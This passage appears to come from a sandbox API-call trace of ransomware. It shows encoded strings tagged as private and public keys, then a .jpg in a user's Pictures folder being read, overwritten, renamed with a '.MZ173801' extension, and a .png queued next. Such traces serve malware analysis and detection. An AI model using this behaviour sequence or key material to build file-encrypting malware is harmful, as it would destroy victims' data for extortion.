lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24d21ec, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.341] GetCurrentThreadId () returned 0xab4 [0153.341] GetCurrentThreadId () returned 0xab4 [0153.341] GetCurrentThreadId () returned 0xab4 [0153.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24e324c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.342] GetCurrentThreadId () returned 0xab4 [0153.342] GetCurrentThreadId () returned 0xab4 [0153.342] GetCurrentThreadId () returned 0xab4 [0153.342] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\nuPKgeB MAKEYlr.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\nupkgeb makeylr.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.342] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.342] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.342] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x10b9b [0153.342] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.342] ReadFile (in: hFile=0x294, lpBuffer=0x24eb050, nNumberOfBytesToRead=0x10b9b, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24eb050*, lpNumberOfBytesRead=0x19fa18*=0x10b9b, lpOverlapped=0x0) returned 1 [0153.344] CloseHandle (hObject=0x294) returned 1 [0153.345] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\nuPKgeB MAKEYlr.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\nupkgeb makeylr.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.346] WriteFile (in: hFile=0x294, lpBuffer=0x24fd080*, nNumberOfBytesToWrite=0x10b9b, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24fd080*, lpNumberOfBytesWritten=0x19fa24*=0x10b9b, lpOverlapped=0x0) returned 1 [0153.348] CloseHandle (hObject=0x294) returned 1 [0153.350] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\nuPKgeB MAKEYlr.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\nupkgeb makeylr.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\nuPKgeB MAKEYlr.jpg.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\nupkgeb makeylr.jpg.mz173801")) returned 1 [0153.351] GetCurrentThreadId () returned 0xab4 [0153.351] GetCurrentThreadId () returned 0xab4 [0153.351] GetCurrentThreadId () returned 0xab4 [0153.351] GetCurrentThreadId () returned 0xab4 [0153.351] GetCurrentThreadId () returned 0xab4 [0153.351] GetCurrentThreadId () returned 0xab4 [0153.351] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Saved Pictures", cAlternateFileName="SAVEDP~1")) returned 1 [0153.351] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718f36c0, ftCreationTime.dwHighDateTime=0x1d5ec44, ftLastAccessTime.dwLowDateTime=0x956d87e0, ftLastAccessTime.dwHighDateTime=0x1d5eb1d, ftLastWriteTime.dwLowDateTime=0x956d87e0, ftLastWriteTime.dwHighDateTime=0x1d5eb1d, nFileSizeHigh=0x0, nFileSizeLow=0x18713, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="soIxhtWQvRHiZe.png", cAlternateFileName="SOIXHT~1.PNG")) returned 1 [0153.351] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.351] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.351] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\soIxhtWQvRHiZe.png" (normalized: "c:\\users\\fd1hvy\\pictures\\soixhtwqvrhize.png"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718f36c0, ftCreationTime.dwHighDateTime=0x1d5ec44, ftLastAccessTime.dwLowDateTime=0x956d87e0, ftLastAccessTime.dwHighDateTime=0x1d5eb1d, ftLastWriteTime.dwLowDateTime=0x956d87e0, ftLastWriteTime.dwHighDateTime=0x1d5eb1d, nFileSizeHigh=0x0, nFileSizeLow=0x18713)) returned 1 [0153.351] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\soIxhtWQvRHiZe.png" (normalized: "c:\\users\\fd1hvy\\pictures\\soixhtwqvrhize.png")) returned 0x20 [0153.351] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\soIxhtWQvRHiZe.png", dwFileAttributes=0x80) returned 1 [0153.353] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.353] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24caebc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 